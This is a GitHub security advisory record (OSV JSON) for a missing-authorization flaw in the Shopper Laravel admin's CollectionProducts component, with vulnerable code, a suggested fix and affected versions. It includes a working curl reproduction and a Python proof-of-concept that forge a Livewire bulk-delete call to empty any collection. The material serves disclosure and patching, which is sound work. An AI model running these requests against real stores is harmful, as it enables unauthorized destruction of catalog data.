{"id":"GHSA-2cg9-97gq-9mqp","summary":"Shopper: Missing authorization on product removal actions in CollectionProducts component","details":"## Title\n\nMissing authorization on product removal actions in CollectionProducts component\n\n## Description\n\nA lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `-\u003eauthorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database.\n\n## Severity\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H  Score: 8.1  (High)\n\n## Affected files\n\n- `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105`\n\n```php\n// Line 40 - client-mutable, no #[Locked]\npublic Collection $collection;\n\n// Lines 73-88 - per-record delete action, no -\u003eauthorize(...)\n-\u003erecordActions([\n    Action::make('delete')\n        -\u003elabel(__('shopper::forms.actions.delete'))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003eiconButton()\n        -\u003ecolor('danger')\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (Product $record): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n            $this-\u003edispatch('collection.add.product');\n            Notification::make()\n                -\u003etitle(__('shopper::pages/collections.remove_product'))\n                -\u003esuccess()\n                -\u003esend();\n        }),\n])\n\n// Lines 91-105 - bulk remove action, no -\u003eauthorize(...)\n-\u003egroupedBulkActions([\n    DeleteBulkAction::make()\n        -\u003elabel(__('shopper::forms.actions.delete'))\n        -\u003eicon(Untitledui::Trash03)\n        -\u003erequiresConfirmation()\n        -\u003eaction(function (EloquentCollection $records): void {\n            $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck('id')-\u003etoArray());\n            $this-\u003edispatch('collection.add.product');\n            Notification::make()\n                -\u003etitle(__('shopper::pages/collections.remove_product'))\n                -\u003esuccess()\n                -\u003esend();\n        })\n        -\u003edeselectRecordsAfterCompletion(),\n])\n```\n\n## Steps to reproduce\n\nPrerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required).\n\n```bash\nSESSION=\"laravel_session=\u003cyour_session_value\u003e\"\nXSRF=\"X-XSRF-TOKEN: \u003curl-decoded-value-of-XSRF-TOKEN-cookie\u003e\"\n\n# Step 1: Note the collection ID you wish to empty (e.g., collection_id=5).\n# Step 2: Call the bulk table action on the CollectionProducts component,\n#          substituting collection ID 5 in the component state.\n\ncurl -s -X POST http://localhost/shopper/livewire/update \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-XSRF-TOKEN: $XSRF\" \\\n  -H \"Cookie: $SESSION\" \\\n  -H \"X-Livewire: 1\" \\\n  -d '{\n    \"components\": [{\n      \"snapshot\": \"{\\\"id\\\":\\\"COLLECTION_PRODUCTS_COMPONENT_ID\\\",\\\"data\\\":{\\\"collection\\\":5},\\\"checksum\\\":\\\"...\\\"}\",\n      \"updates\": {},\n      \"calls\": [{\n        \"path\": \"\",\n        \"method\": \"callBulkAction\",\n        \"params\": [\"delete\", [1, 2, 3, 4, 5]]\n      }]\n    }]\n  }'\n# Expected: HTTP 200, all listed product IDs detached from collection 5,\n#           regardless of the caller having only browse_collections.\n```\n\n## Proof of concept\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCollectionProducts authorization bypass PoC.\n\nSet these environment variables before running:\n  BASE_URL        e.g. http://localhost\n  SESSION_COOKIE  value of the laravel_session cookie\n  XSRF_TOKEN      URL-decoded value of the XSRF-TOKEN cookie\n  COMPONENT_ID    Livewire component snapshot ID (from page source)\n  COLLECTION_ID   integer ID of the target collection\n  PRODUCT_IDS     comma-separated product IDs to detach (e.g. \"1,2,3\")\n\"\"\"\n\nimport json\nimport os\nimport requests\n\nbase_url      = os.environ['BASE_URL']\nsession       = os.environ['SESSION_COOKIE']\nxsrf          = os.environ['XSRF_TOKEN']\ncomponent_id  = os.environ['COMPONENT_ID']\ncollection_id = int(os.environ['COLLECTION_ID'])\nproduct_ids   = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')]\n\nheaders = {\n    'Content-Type': 'application/json',\n    'Accept': 'text/html, application/xhtml+xml',\n    'X-XSRF-TOKEN': xsrf,\n    'Cookie': f'laravel_session={session}',\n    'X-Livewire': '1',\n}\n\nsnapshot = json.dumps({\n    'id': component_id,\n    'data': {'collection': collection_id},\n    'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED',\n})\n\npayload = {\n    'components': [{\n        'snapshot': snapshot,\n        'updates': {},\n        'calls': [{\n            'path': '',\n            'method': 'callBulkAction',\n            'params': ['delete', product_ids],\n        }]\n    }]\n}\n\nr = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)\nprint(f'Status: {r.status_code}')\nprint(r.text[:500])\n```\n\n## Impact\n\nA staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed.\n\n## Suggested fix\n\n```php\n// packages/admin/src/Livewire/Components/Collection/CollectionProducts.php\n\nuse Livewire\\Attributes\\Locked;\n\n#[Locked]                          // prevent client-side ID substitution\npublic Collection $collection;\n\n// Per-record action:\nAction::make('delete')\n    -\u003eauthorize('edit_collections')  // add this\n    -\u003eaction(function (Product $record): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach([$record-\u003eid]);\n        // ...\n    }),\n\n// Bulk action:\nDeleteBulkAction::make()\n    -\u003eauthorize('edit_collections')  // add this\n    -\u003eaction(function (EloquentCollection $records): void {\n        $this-\u003ecollection-\u003eproducts()-\u003edetach($records-\u003epluck('id')-\u003etoArray());\n        // ...\n    })\n```\n\n## Credits\n\nReported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).","aliases":["CVE-2026-56825"],"modified":"2026-09-11T21:45:09.885564731Z","published":"2026-09-11T21:31:26Z","database_specific":{"cwe_ids":["CWE-862"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-09-11T21:31:26Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/shopperlabs/shopper/security/advisories/GHSA-2cg9-97gq-9mqp"},{"type":"PACKAGE","url":"https://github.com/shopperlabs/shopper"}],"affected":[{"package":{"name":"shopper/framework","ecosystem":"Packagist","purl":"pkg:composer/shopper/framework"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.9.2"}]}],"versions":["v2.0.0","v2.0.0-alpha","v2.0.0-beta","v2.0.0-beta10","v2.0.0-beta11","v2.0.0-beta12","v2.0.0-beta13","v2.0.0-beta14","v2.0.0-beta15","v2.0.0-beta16","v2.0.0-beta17","v2.0.0-beta18","v2.0.0-beta19","v2.0.0-beta2","v2.0.0-beta20","v2.0.0-beta21","v2.0.0-beta3","v2.0.0-beta4","v2.0.0-beta5","v2.0.0-beta6","v2.0.0-beta7","v2.0.0-beta8","v2.0.0-beta9","v2.0.1","v2.0.2","v2.0.3","v2.1.1","v2.1.2","v2.1.3","v2.1.4","v2.1.5","v2.1.6","v2.2","v2.2.1","v2.2.2","v2.2.3","v2.2.4","v2.2.5","v2.2.6","v2.2.7","v2.3","v2.3.1","v2.3.2","v2.3.3","v2.4.0","v2.4.1","v2.4.2","v2.4.3","v2.5.0","v2.5.1","v2.6.0","v2.6.1","v2.6.2","v2.6.3","v2.6.4","v2.7.0","v2.7.1","v2.7.2","v2.7.3","v2.8.0","v2.8.1","v2.9.0","v2.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-2cg9-97gq-9mqp/GHSA-2cg9-97gq-9mqp.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}]}